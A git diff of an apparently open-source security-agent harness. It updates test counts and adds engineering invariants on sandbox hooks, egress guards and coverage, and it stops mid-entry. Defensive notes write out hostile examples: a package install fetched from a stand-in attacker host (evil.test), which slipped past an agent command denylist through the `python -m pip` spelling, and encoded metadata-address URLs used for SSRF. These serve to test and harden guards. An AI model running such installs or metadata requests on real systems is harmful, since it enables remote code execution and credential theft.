diff --git a/.coveragerc b/.coveragerc index 0d47ddc..944d8f1 100644 --- a/.coveragerc +++ b/.coveragerc @@ -41,6 +41,8 @@ include = */longrunning/* */specialists/* */sentinel_harness/* + */intake/* + */mockdata/* omit = */site-packages/* */.venv/* diff --git a/README.md b/README.md index 3344829..06ea90b 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ python bedrock-agentcore version - tests + tests coverage milestones hardening @@ -99,7 +99,7 @@ Honest build status per capability β€” mirrors the self-audit. | **Tools** | `nvd_lookup` / `epss_kev` / `attack_lookup` / `web_search` | 🟑 **reference stubs** (offline-safe, contract-tested) | `tools/`, `tests/test_tool_handlers.py` | | **Tools** | `siem_query` / `asset_lookup` / `enrich_ioc` / `ops_query` β€” backend-pluggable | 🟒 **built + tested** (offline mock default; `*_LIVE`=1 switches to a real stdlib-HTTP client β€” env-driven URL + bearer, timeouts, all failuresβ†’`upstream_error` with no silent fallback β€” proven end-to-end against an in-process 127.0.0.1 mock server, zero external network) | `tools/{siem_query,asset_lookup,enrich_ioc,ops_query}/`, `tests/test_*_live.py` | -🟒 built & validated Β· 🟑 built, partial Β· 🟠 designed with loadable config Β· βšͺ design narrative only. **4073 offline tests pass** (+8 skipped when optional deps are absent or opt-in checks are off). +🟒 built & validated Β· 🟑 built, partial Β· 🟠 designed with loadable config Β· βšͺ design narrative only. **4219 offline tests pass** (+42 skipped when optional deps are absent or opt-in build/live checks are off). ## πŸš€ Quickstart @@ -247,7 +247,7 @@ Borrowed patterns (see [`docs/BLUEPRINT.md`](docs/BLUEPRINT.md)): supervisorβ†’s | [`docs/GOVERNANCE.md`](docs/GOVERNANCE.md) | Registry dual-gate, HITL, sandbox hooks, and tag-guard controls | | [`docs/COMPLIANCE.md`](docs/COMPLIANCE.md) | Capability β†’ SOC 2 / ISO 27001 / NIST CSF 2.0 control mapping (anchors machine-verified) | | [`docs/OBSERVABILITY.md`](docs/OBSERVABILITY.md) | Logging (`logutil`), metrics (token/latency/tool-call/error/eval), the OTEL/Transaction-Search path | -| [`docs/TESTING.md`](docs/TESTING.md) | The 4073-test offline suite: layout, determinism, how to run | +| [`docs/TESTING.md`](docs/TESTING.md) | The 4219-test offline suite: layout, determinism, how to run | | [`docs/FIDELITY-REPORT.md`](docs/FIDELITY-REPORT.md) | The self-audit β€” real vs. built vs. designed, with limits stated | | [`docs/ROADMAP.md`](docs/ROADMAP.md) | Delivered milestones (M0–M12) and what's next | | [**API reference (live)**](https://aws-samples.github.io/sample-sentinel-harness/) | Rendered `sentinel_harness` API docs (pdoc β†’ GitHub Pages) | @@ -285,7 +285,7 @@ sentinel-harness/ β”œβ”€β”€ iac-cdk/ L3 CDK stacks (9; guardrail/identity/obs/vpc live) 🟒 β”œβ”€β”€ iac-terraform/ deployable Terraform mirror (validate-clean) 🟒 β”œβ”€β”€ docs/ QUICKSTART Β· ARCHITECTURE Β· BLUEPRINT Β· SETUP Β· HARNESSES Β· GOVERNANCE Β· TESTING Β· FIDELITY-REPORT Β· ROADMAP -β”œβ”€β”€ tests/ offline unit + config tests (4073) 🟒 +β”œβ”€β”€ tests/ offline unit + config tests (4219) 🟒 └── .github/workflows/ CI incl. a customer-name / secret gate ``` diff --git a/docs/COMPARISON.md b/docs/COMPARISON.md index 1bac69c..7e8ea58 100644 --- a/docs/COMPARISON.md +++ b/docs/COMPARISON.md @@ -42,7 +42,7 @@ is partial, it is marked 🟑 here exactly as it is there. | **Code you own/maintain** | Least β€” agents are YAML; the heavy lifting is the AWS-managed loop + a tested library | Moderate β€” the loop is yours | Moderate–high β€” graph topology + hosting | Most β€” everything | | **Security-ops opinionation** | High β€” three-layer SecOps blueprint, Play Mode, BAS detection-replay, sandbox hooks, egress control ship in the box | None (general-purpose) | None (general-purpose) | None | -Numbers above (4073 tests, 23 scenarios, 38 evidence artifacts, 20 tools, 9 skills, +Numbers above (4219 tests, 23 scenarios, 38 evidence artifacts, 20 tools, 9 skills, 8 harnesses, 9 CDK stacks) match the README and are all offline/deterministic unless a row says **live-validated**; live claims were validated on a **non-production dev/test account** with every account id scrubbed to `000000000000`. diff --git a/docs/FIDELITY-REPORT.md b/docs/FIDELITY-REPORT.md index 284c0ca..09d6065 100644 --- a/docs/FIDELITY-REPORT.md +++ b/docs/FIDELITY-REPORT.md @@ -29,7 +29,7 @@ This is real, not narration: - **Layer 3 foundation ships runnable, tested code.** The dual-gate tool/skill registry, PreToolUse sandbox hook, and Agent Factory (fleet provision, dry-run, cross-env tag-guard) are built and unit-tested. - **Native IaC, not hand-rolled resources.** The gateway / registry / memory / harness stacks use the native `AWS::BedrockAgentCore::*` CloudFormation types. Per the README status matrix, the **Gateway and Memory CFN types are registered**; the Registry type is not yet in CFN (see limitations). - **Config path works.** `pip install -e .` succeeds (`[tool.setuptools] packages = ["sentinel_harness", "intake"]`), the `sentinel` console script works, and `sentinel create ` loads real config via `sentinel_harness/loader.py` (systemPrompt file read, `bedrockModelConfig` / `agentCoreGateway` / `managedMemoryConfiguration` mapping, `${ENV}` expansion, `@gateway/tool` allowedTools grammar). -- **Scale.** 4073 offline tests pass (+8 skipped when optional deps are absent or opt-in checks are off) across 175 test files, with 38 evidence JSON artifacts, 23 scenarios, 20 tools (incl. a 7-tool deterministic detection-engineering suite), an `iac-cdk` project (9 stacks synth-green) and an `iac-terraform` mirror (`validate`-clean). +- **Scale.** 4219 offline tests pass (+42 skipped when optional deps are absent or opt-in build/live checks are off) across 186 test files, with 38 evidence JSON artifacts, 23 scenarios, 20 tools (incl. a 7-tool deterministic detection-engineering suite), an `iac-cdk` project (9 stacks synth-green) and an `iac-terraform` mirror (`validate`-clean). - **Clean anonymization.** No real account IDs (only the `000000000000` placeholder), no customer or company names, no secrets. The CI secret-and-name scan is self-non-matching and fails the build on any hit. ## 4. Live controls retained for demos (us-east-1) diff --git a/docs/INVARIANTS.md b/docs/INVARIANTS.md index 853c2c6..48f8977 100644 --- a/docs/INVARIANTS.md +++ b/docs/INVARIANTS.md @@ -116,6 +116,7 @@ sentence is exactly how INV-PROMOTE-3 went unenforced. | **INV-SANDBOX-3** | A package install is never redirected at an attacker-controlled source (`--index-url`, `--registry`, a `git+`/URL/archive spec). | `sandbox_hooks._check_untrusted_package_source` | `test_m18_security_gates.py::TestSandboxInterpreterEscape::test_untrusted_package_source_is_blocked` | | **INV-SANDBOX-4** | An ALLOWED path never contains a `..` traversal segment and always resolves under a sandbox root. | `sandbox_hooks.validate_path` | `test_fuzz_sandbox_hooks.py`, `test_sandbox_hooks.py` | | **INV-SANDBOX-5** | The real build/test/VCS surface stays usable: `pip install -r`, `python -m pytest`, `npm ci`, `make test` are allowed. A guard that breaks the normal workflow gets switched off, so zero false positives is a security requirement. | `sandbox_hooks.validate_command` | `test_m18_security_gates.py::TestSandboxInterpreterEscape::test_legitimate_commands_still_allowed` | +| **INV-SANDBOX-6** | A denylist keyed on the LEADING verb misses the nested spelling. `sandbox_hooks.validate_command` is the PreToolUse gate, and one of its denylist checks β€” `_check_untrusted_package_source` β€” refuses an install redirected at an attacker-controlled source (a URL/VCS spec, an `--index-url` override), because that is remote code execution wearing a dependency-install costume. It keyed on `tokens[0]`, so identical semantics got opposite verdicts: `pip install https://evil.test/x.whl` **REFUSED** but `python -m pip install https://evil.test/x.whl` **ALLOWED** β€” the verb was `python`. `python -m pip` is the form Python's own docs recommend, so this was not an obscure bypass but the common spelling, and `uv run pip install ` had the same hole. One protection, two paths, one guarded β€” the shape INV-COERCE records four times; and the SIBLING function in the same module had already learned it (`_check_interpreter_escape` comments "Scan EVERY token … an interpreter can be nested behind a runner"). A fix applied to one call site is not an invariant even inside one file. Fixed by searching all tokens for the package manager; legitimate steps stay allowed (`pip install -r requirements.txt`, `python -m pip install requests`, `python -m pip list`, `python -m pytest`), which is asserted because a careless implementation would refuse any command merely MENTIONING pip. **Two mutation survivors were real findings about the TESTS, not the code.** (1) Deleting the source-override FLAG check survived, because every case I had written paired the flag with a URL β€” which `_REMOTE_PKG_RE` also matches. Two checks that overlap on the cases you test are one untested check; now isolated with non-URL index values (`--index-url mirror`). (2) Breaking the interpreter-escape token scan survived, because my only nested case was `uv run python -c` and `uv` ITSELF declares `-c` as an inline-code flag β€” the right verdict for the wrong reason. `uv run node -e` has no such coincidence and was ALLOWED; both are now parametrised. A guard verified only through a case where two rules happen to agree is not verified. **Scope decided by reading the contract, not by instinct**: probing also showed `python -m http.server`, `telnetlib`, `smtpd` and `ftplib` are allowed. Those are network reachability, which this module's docstring scopes to the runtime policy (as `egress.py` does for DNS), so they are left alone and asserted as ALLOWED so a future round changes that deliberately. That restraint is learned, not theoretical: the previous round broadened `egress.py` on the same instinct and failed 46 tests across 10 modules because loopback egress was a deliberate contract. Close the gap the denylist already claims; do not widen what it covers. Mutation-tested 5/5. | `sentinel_harness/sandbox_hooks.py` `_check_untrusted_package_source` | `test_sandbox_nested_verbs.py` | ### Why the syntactic/semantic split matters @@ -141,6 +142,8 @@ escapes. | **INV-GOV-7** | `allowedAudience`/`allowedClients` contain only concrete, non-blank values β€” never a wildcard or empty string. These lists ARE the auth boundary (same rule as `allowedTools`, never `['*']`). | `gateway._validate_claim_values` | `test_r9_semantic_gates.py::TestClaimValueHygiene` | | **INV-GOV-8** | An `allowedTools` entry that is a NEAR MISS for a built-in HITL gate (stray whitespace / wrong case) fails loudly. Silently not injecting it produced a config that read as "has a human-approval gate" while having none. | `loader._inject_inline_gates` | `test_r9_semantic_gates.py::TestHitlGateNearMiss` | | **INV-GOV-9** | An `allowlist_optimization` task is only emitted when something can SAFELY be suppressed. When every FP indicator is also a TP indicator, the task is withheld (with a recorded reason) and a `rule_regeneration` task is emitted instead β€” a noisy-but-unsuppressable rule must not produce silence. | `feedback.detect_triggers` | `test_r9_semantic_gates.py::TestUnsuppressableNoise` | +| **INV-GOV-10** | A harness that grants a NON-APPROVED tool says so where the operator reads it. The registry is the platform's admission-control plane and its gate WORKS β€” verified against the shipped registry with all 20 factories wired: `resolve("web_search")` raises `RegistryError: tool 'web_search' is registered but status='pending' (not approved)`, while an approved tool resolves fine (so the refusal is discriminating, not blanket). Meanwhile `harnesses/research-supervisor/harness.yaml` GRANTS `@gateway/web_search` and **nothing compared the two**. That matters because of the property INV-HARNESS-1 already records: `allowedTools` is a **GRANT, not a lookup** β€” an unresolvable name does not raise, the agent simply comes up with a smaller tool surface than its config declares. So an operator reads `@gateway/web_search # egress-controlled web search` and concludes the supervisor can search the web, while at runtime that grant yields nothing. This is a DIFFERENT gate from INV-HARNESS-1's: that one asks "does the name resolve to a stub under `tools/`?" and `web_search` DOES have one, so it passes there; this asks "has governance approved it?". Scope measured: exactly ONE harness of the eight is affected. **The fix is DISCLOSURE, not removal**, and both alternatives were rejected with reasons: flipping the registry entry to `approved` would delete the repo's only worked example of admission control actually denying something (docs/GOVERNANCE.md states `web_search` ships `pending` ON PURPOSE, and `test_registry.py` exercises the refusal), while deleting the grant would lose the record of what the supervisor is intended to do once the egress allowlist is signed off. So the harness must state, beside the grant, that it is not currently resolvable β€” read from the RAW TEXT rather than parsed YAML, since `yaml.safe_load` discards the comment the disclosure lives in. The requirement is BIDIRECTIONAL: once the registry approves the tool, a leftover "not yet resolvable" note FAILS, because a stale caveat telling an operator a working capability is unavailable is worse than none β€” the "lint-exempt directory = never cleaned" rule applied to a comment. Positive control asserts both sides are non-empty AND that at least one entry is non-approved, since a registry where everything is approved would make this module's subject impossible and would also mean the governance demo had been lost. **The same coupling holds on a second, MORE dangerous surface: skill SOPs.** `cve-triage-rubric` rule 3 is "**Egress via `web_search`, not raw download**" and `ioc-vetting` rule 4 "**Egress via reputation tools + `web_search`** … Never download the sample" β€” each makes `web_search` the ONLY compliant way out, while `resolve()` refuses it. That is worse than the harness case: there the consequence is a missing capability, here a SAFETY procedure prescribes a path that does not exist, so an agent following it either abandons enrichment (degraded but safe) or improvises (violating the very rule forbidding raw downloads). So the disclosure must also NAME THE SAFE BRANCH (record `UNKNOWN`, never substitute a download), asserted separately. Two narrowings of that second assertion were forced by mutation, not reasoning: a file-wide search for UNKNOWN/never SURVIVED stripping the safe branch out of the note (these SOPs say both words throughout, so the evidence came from unrelated prose), and paragraph-scoped splitting ALSO survived because the block containing the note contains the rule it annotates β€” whose first words are "Never download binaries". The guard was reading the prohibition it exists to protect as proof the note restates it. Now scoped to the markdown BLOCKQUOTE lines, which isolate the disclosure from the rule, and de-blockquoting the note is itself a failure. Mutation-tested 9/9 (harness: remove the disclosure, approve the tool but keep the stale note, approve everything, empty an allowlist; skills: remove each of three disclosures, strip the safe branch, de-blockquote). | `harnesses/*/harness.yaml` grants Β· `registry/tools.yaml` status | `test_harness_grants_vs_registry.py` | +| **INV-CONN-1** | The conformance kit's FAILURE branches are exercised, not merely present. `connectors/conformance.py` is the certification kit an adopter runs against their own SIEM / ticketing connector, so its entire value rests on being able to say NO. `test_connector_conformance.py` already proved it can β€” eight injected non-conformant connectors are each rejected β€” and my opening hypothesis, that the kit had never been shown to reject anything, was **WRONG**; recorded so the next reader does not re-derive it from a coverage report. What WAS missing is finer: **15 statements sat inside failure branches that the entire suite never executed** (file at 90%, missing `202-205, 224, 235-236, 244-245, 253, 371-375`). Each was reached by injection and each behaved correctly, so this is not a defect fix β€” it converts "unverified but happens to be right" into "verified". That distinction is load-bearing for a certification tool: the MESSAGE is the product (an adopter acts on `rejects_foreign_envelope: probe {...}: raised TypeError, expected ConnectorError`), and every pre-existing test asserts only `ok is False` β€” which a wrong-but-still-failing check also satisfies. So each new test asserts the SPECIFIC named check that must fail and the SUBSTANCE of its detail string, and pairs opposite outcomes so they cannot collapse into one message (accepting junk vs raising the wrong type are different defects with different fixes). **Three of my own errors are recorded.** (1) Probing `result.checks` for a failing entry found nothing and briefly looked like the kit losing a check β€” `checks` holds only the names that PASSED, failures live in `.failures`; reading the wrong field made a working kit look broken. (2) I assumed one test covered both the "accepts a title-less ticket" and "refuses it with the wrong exception" branches; coverage showed 244-245 still unexecuted. Assuming one test covers two branches is how a branch stays unverified while a test named after it passes. (3) Reaching `371-375` β€” `certify_all`'s isolation of the CROSS-connector check, the invariant round 13 added because per-connector checks are structurally blind to it β€” took two wrong attempts: a getter raising on its second call was caught by `check_result_set_equivalence`'s OWN per-connector handler (the outer block is a second layer, so the inner one must be bypassed rather than merely triggered, and my assertions passed against the inner catch), and a non-iterable `siem_names` raised too early, in the per-connector loop. What works is an iterable that succeeds once and raises on re-iteration; the test now also asserts the outer handler's distinctive wording and that all four per-connector verdicts SURVIVE, which is the point of isolating. Result: statement coverage 90% -> **100% (0 missing)**, branch 99%. | `sentinel_harness/connectors/conformance.py` failure branches | `test_conformance_failure_paths.py` | --- @@ -438,6 +441,7 @@ a mechanism. The guard now lives in `sentinel_harness/egress.py`, once. | **INV-EGRESS-2** | The guard refuses every spelling of a forbidden target β€” `169.254.169.254`, `2852039166` (decimal), `0xA9FEA9FE` (hex), `0251.0376.0251.0376` (octal), IPv4-mapped IPv6, a userinfo prefix, and non-HTTP schemes β€” while ALLOWING a legitimate backend, loopback (a self-hosted SIEM, and what the live tests bind), and a DNS name that merely starts with a digit. `EgressError` subclasses `RuntimeError` so a refusal surfaces as `upstream_error`, never a silent empty result. | `egress.assert_safe_url` / `parse_ip_literal` / `_NoRedirect` | `test_r17_egress_mechanized.py::TestTheSharedGuardBehaviour` | | **INV-EGRESS-3** | Every host range-check in the repo parses with `egress.parse_ip_literal` β€” including the ones whose POLICY differs. Round 19 found **four** surviving local copies: `asset_lookup`, `enrich_ioc` and `web_search` each kept an `_assert_safe_url` that accepted `2852039166` / `0xA9FEA9FE` / `0251.0376.0251.0376`, and `gateway._validate_discovery_url` did too. The three tool copies were shadowed by `open_checked` downstream; the gateway one was **not** β€” it is the only gate between a config value and `customJWTAuthorizer.discoveryUrl`, which decides which keys sign a valid token, and it also let loopback through as `2130706433` / `0x7f000001` / `0177.0.0.01`. The split is parser-shared, policy-local: the parser was wrong in all four, the policy is what legitimately differs. | `egress.parse_ip_literal`, delegated to by all four | `test_r19_egress_copies.py` | +| **INV-EGRESS-4** | Every spelling of the metadata address is parsed β€” including dotted-hex, which was **allowed through**. `egress.py` exists because `ipaddress.ip_address()` parses only dotted-quad and standard IPv6, so a numerically-spelled host slips past a range check as if it were a DNS name; its docstring records three spellings of `169.254.169.254` as the attack it was built for (decimal `2852039166`, hex `0xA9FEA9FE`, octal-dotted `0251.0376.0251.0376`). A FOURTH was unhandled: `http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/` was **ALLOWED**, verified end to end. **Coverage is what surfaced it, and the two facts were the same fact**: `parse_ip_literal` opened with `if candidate.lower().startswith("0x")`, which CLAIMS the dotted-hex host (it does start with `0x`), then fails inside `int(candidate, 16)` because of the dots, so the function returned `None` β€” and `assert_safe_url` reads `None` as "a DNS name, the runtime policy's problem" and permits it. The dotted-hex branch written further down (`if octet.lower().startswith("0x")`) was therefore **UNREACHABLE**, which is precisely why those two statements showed as uncovered. Two lines of dead code and an open SSRF path. Fixed by guarding the integer branches with `"." not in candidate`; `egress.py` goes 91% -> **100% statements and branches**. **A second change was made and then REVERTED, which is the more instructive half.** Broadening the range check from link_local/multicast/reserved/unspecified to `not ip.is_global` (refusing loopback, RFC 1918 and β€” after measurement β€” CGNAT `100.64/10`, which CPython reports as `is_private=False` yet `is_global=False`) looked like a strict improvement. It failed **46 tests across 10 modules**, and reading them showed `test_web_search_live.py` naming `http://127.0.0.1:8080/search` a SAFE target: an adopter points a `*_LIVE` tool at a stub or sidecar on the runtime's own loopback, and `egress.py`'s docstring assigns resolution-time concerns to "the runtime network policy's job". So 46 failures were evidence of a DELIBERATE CONTRACT, not of 46 latent bugs β€” editing them to match my guess would have rewritten a design decision. The scope boundary is now asserted in both directions, so a future broadening must be deliberate rather than collateral. Also recorded: `is_global` alone is NOT a sufficient predicate β€” multicast `224.0.0.1` reports `is_global=True` β€” found by checking 13 must-block and 7 must-allow literals rather than reasoning about it. And an EQUIVALENT MUTANT is documented so nobody re-hunts it: deleting the per-octet `0 <= part <= 255` check survives, because an out-of-range octet shifts `value` past `0xFFFFFFFF` and the 32-bit ceiling catches it β€” overlapping defence, not a test gap; my first note claimed the opposite, which was a guess about the mechanism rather than a measurement. Mutation-tested: reverting the dotted-hex fix, breaking octal-octet parsing, breaking hex-octet parsing, over-claiming real hostnames, dropping the link-local refusal and allowing non-HTTP schemes are each CAUGHT. | `sentinel_harness/egress.py` `parse_ip_literal` | `test_egress_ip_spellings.py` | INV-EGRESS-1 existed to prevent exactly this and did not, because its `test_no_tool_reimplements_the_ip_parser` was parameterized over `("siem_query", @@ -854,6 +858,7 @@ the packaged install path. | **INV-REGISTRY-5** | A registry entry's `name` EQUALS its `tools//` directory. `mcp_server._discover_tools` walks `tools/`, takes the DIRECTORY name as the tool name and tests it against the approved set β€” so a registry entry whose name does not match its directory makes the tool vanish SILENTLY. Reproduced: renaming one registry entry dropped the exposed surface from 17 tools to 16, with neither the old nor the new name resolvable and NO error, warning or governance report. Nothing checked this coupling: `test_registry.py` guarded registry-vs-code-factory (`governance_check`) and the two shipped YAML copies against each other, but not registry-vs-directory β€” three couplings, two guarded. Adjacent to INV-MCP-1, which fixed the registry being UNREADABLE (fail-open, now raises); this is the registry reading fine while the names disagree. Written and verified to fail BEFORE the whitelist->allowlist rename that needed it, and the end-to-end assertion runs real discovery rather than comparing filenames. | `registry/tools.yaml` Β· `sentinel_harness/data/tools.yaml` Β· `mcp_server._discover_tools` | `test_registry_names_match_directories.py` | | **INV-DOC-6** | The public landing page's quoted counts are guarded too. `site/index.html` is HAND-WRITTEN and git-tracked, published to GitHub Pages, and its `` β€” the text a search result quotes β€” claimed **2352 tests** while the suite had 3837. Off by 1480, in the most public claim the project makes, because INV-DOC-2's guard covered README and `docs/` and stopped there. The drift lived in the one file no maintainer opens. The patterns are deliberately NARROW: a first attempt matched ROADMAP's historical changelog lines ("2126 -> 2352 offline passing") and reported them as drift β€” a count guard must distinguish a present-tense CLAIM from a record of the past, or it pressures you into falsifying history to get green. | `site/index.html` | `test_docs_drift.py::test_quoted_counts_match_reality` | | **INV-DOC-10** | Every `make ` the QUICKSTART teaches is covered by a check and exists in the Makefile. `CANONICAL_TARGETS` named 10 targets while QUICKSTART advertised **11** β€” `deploy-endpoints` was missing, so neither check parametrised over that list covered it: not "the doc mentions this target" and not "the doc agrees with the Makefile". Fourth instance of the inventory-drift shape in four rounds (INV-SKILL-1 five-of-nine, INV-HARNESS-1's reference side, INV-MAKE-1 thirteen-of-sixteen), and the last remaining mirror-type list in the suite: an audit of all 22 parametrising literal lists found the rest either complete (`_OFFLINE_RUNNABLE` is 13 + 10 live = 23, already reconciled) or intrinsic sets that mirror nothing (`HOSTILE_VALUES`, `_REQUIRED_KEYS`). Reconciled against the DOCUMENT, not the Makefile: this list is a deliberate subset β€” the delivery story's contract, not all 16 targets β€” and reconciling it against the Makefile would demand it grow to cover targets QUICKSTART never teaches, which is INV-DOC-9's subset-vs-total trap. Three directions now fail: an advertised target the list omits, a listed target the doc dropped, and a taught command the Makefile does not define (a reader would get "No rule to make target"). | `docs/QUICKSTART.md` Β· `Makefile` | `test_quickstart_doc.py::test_the_canonical_list_covers_every_advertised_target` | +| **INV-COV-1** | Every SHIPPED Python package is inside the coverage gate's view. `.coveragerc` deliberately uses `include` globs rather than `source` β€” the reason is written down at length: the suite path-loads flat trees via `spec_from_file_location` under fabricated module names, and coverage's `source` option turns on import-time interception that fights that pattern. That decision is sound; its cost is a HAND-MAINTAINED glob list, and the list had drifted. It named four trees (`tools`, `longrunning`, `specialists`, `sentinel_harness`) while `pyproject.toml` ships five packages, leaving two carrying real Python entirely outside the gate: `intake/` (2 files, ~195 lines β€” the deterministic intake normaliser) and `mockdata/` (5 files, ~1478 lines β€” the ONLY source of the mock threat intelligence every tool returns). **Demonstrated rather than argued**: appending seven never-executed statements to `intake/adapter.py` left `coverage report --fail-under=88` at **rc=0** with TOTAL unchanged at 8644 and the file absent from the report ENTIRELY; after the fix the same injection reports `intake/adapter.py 86 statements, 89%, missing 247-253` and TOTAL 8864. So this was never about a percentage looking better β€” code in two shipped packages could rot arbitrarily and the gate would not notice, the "lint-exempt directory = never cleaned" rule applied to a coverage gate. `mockdata` is the one that matters most: seven times the size of `intake`, and SecOps output is only as trustworthy as the shape of the data it reasons over. Adding both moved TOTAL 8644 -> 8856 with coverage steady at 92%, so the 88% gate still passes β€” verified BEFORE committing, because a fix that lands red is not a fix. **`harnesses/` is deliberately NOT added**: it is the fifth shipped package and contains ZERO `.py` files, so a glob for it could never match β€” configuration whose only function is to make a checklist look complete. The guard therefore keys on "ships Python", not on "is listed in pyproject", and that exemption carries its own check so a future `.py` file under `harnesses/` fails rather than hiding. Two further couplings are asserted: an include glob pointing at a moved or empty tree fails (coverage does not warn about a pattern that matches nothing β€” it simply reports less, which reads identically to "fully covered", the same shape as a Dependabot directory that no longer exists), and `.coveragerc`'s `fail_under` must equal the Makefile's `--fail-under` (its own comment says they MUST match; two copies of one threshold drift). The include parser reads the `include =` block ONLY β€” a whole-file grep for `*/name/*` would also match the `omit =` entries and report `build` and `node_modules` as covered. Mutation-tested 5/5. | `.coveragerc` include globs Β· `pyproject.toml` shipped packages | `test_coverage_include_covers_shipped_code.py` | | **INV-MAKE-1** | The Makefile target inventory is reconciled, and every target is `.PHONY`. `tests/test_makefile.py` parametrises its checks over a hand-written `KEY_TARGETS` list that had drifted to **13 of the 16** declared targets. The three missing were `ci` (the local gate), `typecheck` (both mypy gates) and `dist` (the clean-tree build added a few rounds earlier) β€” so `test_makefile_targets_are_phony` never covered them, and **`dist` was in fact absent from `.PHONY`**. Extending the list made that check fail on the first run: the drift was not itself the defect, it was what hid one. Third instance of this shape in three rounds (INV-SKILL-1: five listed, nine on disk; INV-HARNESS-1: the reference side of the same coupling), so the fix is the same β€” keep the list explicit so a REMOVED target fails loudly, and reconcile it against the Makefile so an ADDED one cannot go unchecked. `.PHONY` is now checked over the FULL declared set. Measured honestly: with a same-named file planted, the six previously-unchecked targets still ran (they have no prerequisites, so make runs the recipe regardless), so the omission was not causing a live failure β€” the declaration still states the intent that these are commands, and `demo` and `dist` are names that really do exist as directories here. | `Makefile` | `test_makefile.py::test_the_target_inventory_matches_the_makefile` | | **INV-SKILL-1** | Every shipped skill is checked, and the inventory is derived rather than hand-listed. `tests/test_cyber_skills.py` enforces real properties per skill β€” frontmatter parses with a matching `name`, the body is a usable SOP rather than a stub, it names at least one real tool, and **every tool it names exists** (anti-hallucination). But it ran over a literal five-name `NEW_SKILLS` list written when those five were new, and `skills/` had since grown to **nine**. The four that arrived later β€” `attack-path-reasoning`, `cve-triage-rubric`, `detection-writing-sop`, `ioc-vetting` β€” were covered by NOTHING: a skill citing an invented tool would have shipped unnoticed, which is the same dangling-reference shape INV-HARNESS-1 found on the harness side one round earlier. All four turned out healthy (checked: frontmatter correct, ~6 KB bodies, 2-4 real tool refs each), so this was a coverage gap rather than bad content β€” but the gap is the defect. The list is now derived from disk, so a NEW skill is covered automatically instead of silently ignored, and a `_DOCUMENTED_SKILLS` set preserves what the hand-written list was protecting: a rename or deletion still fails loudly, in both directions. The original comment gave two reasons for keeping it explicit; one (a parallel agent owning some skills) had expired, and the other is kept without its cost. Public-doc skill counts are checked against the same measurement. | `skills/*/SKILL.md` | `test_cyber_skills.py` | | **INV-HARNESS-1** | Every tool a harness allows resolves, and the docs say where from. `harnesses/*/harness.yaml` grants each agent an `allowedTools` list spanning THREE namespaces β€” AgentCore primitives (`code_interpreter`), Gateway MCP tools (`@gateway/siem_query`), and HITL gates the adopter implements (`request_containment_approval`) β€” and nothing checked any of them. `allowedTools` is a GRANT, not a lookup, so an unresolvable name does not raise: the agent simply comes up with a smaller tool surface than its config declares. After the `whitelist_optimizer`->`allowlist_optimizer` rename that is a live risk; this is the harness side of the coupling INV-REGISTRY-5 guards on the registry side. **The defect found**: `docs/HARNESSES.md` claimed the gateway tools "have reference-stub handlers under `tools/`" and named `search_registry` as its first example β€” but 12 of the 14 have stubs and `search_registry` is one of the two that do NOT. A reader following that sentence looks for a directory that is not there. Those two (`search_registry`, `invoke_specialist`) are correctly stub-less: they are PLATFORM operations (Registry query, A2A dispatch), so a local stub would be a misleading no-op rather than a reference β€” now stated in the doc with the reason, and the split is asserted against measurement. The exemption is guarded in both directions: an entry that GAINS a stub is a stale exemption, and one nothing in the repo references is a typo. HITL gates are matched with `exporter.is_hitl_gate` (INV-EXPORT-1's canonical predicate), never a second substring rule. | `harnesses/*/harness.yaml` Β· `docs/HARNESSES.md` | `test_harness_tool_refs.py` | @@ -863,8 +868,12 @@ the packaged install path. | **INV-TEST-2** | The suite leaves no in-process state behind, and its fabricated module names are unique. `test_zz_process_isolation.py` guards four SPECIFIC leaks earlier rounds found (the promotion witness, a stacked metric handler, a redirected registry path); this guards the general properties those were instances of β€” the ones that make `pytest-randomly` meaningful. Four properties measured across EVERY test module in the suite, all holding, none previously checked (a fixed file count was written here first and drifted within two rounds β€” the suite grows, so the claim is stated as coverage rather than as a number): env writes are all either `try/finally`-wrapped, a module-level `pop("*_LIVE")` safety measure, or a `pop` the test itself asserts stayed popped (net effect zero); no `sys.modules` injection shadows a disk-importable module (48 bare assignments, all fabricated names); the 19 fabricated names are unique across files (a reused "unique" name means the second import silently wins the cache and the first file's tests exercise the wrong module β€” green, with no subject); and `conftest.py`'s credential fallback uses `setdefault`, never assignment. Plus a runtime check that no `SENTINEL_*_LIVE` flag is set mid-suite, and a static one forbidding NEW un-normalised `sys.path.insert` calls. **Recorded honestly rather than tuned to pass**, and the figures were RE-MEASURED the following round because the first pass got them wrong: a full run carries 63 `sys.path` entries with the repo root appearing 19x literally and **27x after `realpath`** (the extras arrive as `tests/..` / `scenarios/..` aliases) and `tests/` 25x. The cause is two-fold: **26 of the 63 insert sites have NO guard at all**, and the 37 that do compare STRINGS, so `/repo` never matches an existing `/repo/tests/..`. The original entry said "38 guards" because that scan asked whether the FILE contained `not in sys.path` anywhere β€” a file-level substring test standing in for a statement-level structural question, which is the defect class this repo records most, committed while documenting a guard against it. Judged per statement via AST the split is 37/26. A mechanical rewrite to one idempotent helper was attempted and ABANDONED: tried on a copy of the tree it broke 16 modules at collection, and the benefit is theoretical β€” the suite passes in both orders, so no known bug traces to this. The three un-normalised inserts stay listed in the guard so the debt is visible and shrinkable, and new ones are refused. | `tests/` (all modules) Β· `tests/conftest.py` | `test_zz_suite_hygiene.py` | | **INV-TEST-1** | Every test that builds a distribution artifact does so from ONE shared pristine copy of the tree. Three modules needed this and grew three answers: `test_wheel_contents.py` and `test_installed_cli_e2e.py` each carried a **byte-identical** twelve-entry `shutil.ignore_patterns(...)`, while `test_sdist_contents.py` built IN PLACE with `cwd=REPO_ROOT`. The third was measurably weaker β€” with a ghost handler planted in `build/lib/tools/`, the wheel guard FAILED (caught it) and the sdist guard reported `6 passed`: it inherited the staleness it exists to detect, exactly what the wheel guard's own docstring (written the same round) warns against. It also left a gitignored `sentinel_harness.egg-info/` in the working tree, so `git status` stayed clean and a test silently mutated the repository it tests. The sdist ARTIFACT was never wrong β€” `MANIFEST.in`'s `prune build` keeps a stale staging tree out of the tarball (verified: 20 handlers, no ghost) β€” so this is a defect of method and side effect, not of what ships. The exclusion list now has one definition in `tests/pristine_tree.py`, with `build`/`dist` asserted by name, and an AST scan forbids both a fourth hand-rolled `ignore_patterns` and any builder that skips the helper. | `tests/pristine_tree.py` | `test_r18_guard_the_guards.py::TestArtifactBuildsUseOnePristineCopy` | | **INV-MCP-6** | Every exposed tool survives arbitrary peer input, REFUSES empty input, and stays offline by default. `mcp_server` hands an untrusted peer's arbitrary dict straight to 17 handlers; INV-MCP-4 fixed 